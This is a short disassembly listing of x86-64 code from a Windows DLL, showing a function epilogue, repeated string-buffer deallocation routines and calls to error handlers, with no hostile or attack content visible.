xor rcx, rsp
call fcn.180012db0
lea r11, [rsp + 0x3e0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x180009685
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009680
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000989c
call fcn.180012dd0
xor ebx, ebx
mov qword [rbp + 0x58], rbx
mov qword [rbp + 0x60], SafeArrayGetLBound
mov byte [rbp + 0x48], bl
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x1800096d4
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800096cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800098a2
call fcn.180012dd0
mov qword [rbp + 0x78], rbx
mov qword [rbp + 0x80], SafeArrayGetLBound
mov byte [rbp + 0x68], 0
cmp r13, 0xf
jbe 0x18000971f
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x180009716
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800098a8
mov rcx, r15
call fcn.180012dd0
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x180009761
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000975b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800098ae
call fcn.180012dd0
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x18000979c
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009797
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800098b4
call fcn.180012dd0
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x40], SafeArrayGetLBound
mov byte [rbp + 0x28], 0
mov rcx, qword [rbp + 0x88]
test rcx, rcx
je 0x180009815
mov rdx, qword [rbp + 0x90]
call fcn.18000eb00
mov rdx, qword [rbp + 0x98]
mov rcx, qword [rbp + 0x88]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800097fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800098ba
call fcn.180012dd0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], rbx
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x18000984b
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x180009846
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800098c0
mov rcx, r8
call fcn.180012dd0
mov qword [rsi + 0x10], rbx
jmp 0x1800095fb
call fcn.18000d260
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
int3
call fcn.1800012d0
nop
call fcn.1800012d0
int3
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
int3
call fcn.18001be88
int3
call fcn.1800012d0
int3
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.18001be88
nop
call fcn.180001370
int3
call fcn.18000d260
nop
call fcn.180001370
nop
call fcn.180001370
int3
call fcn.18000d260
int3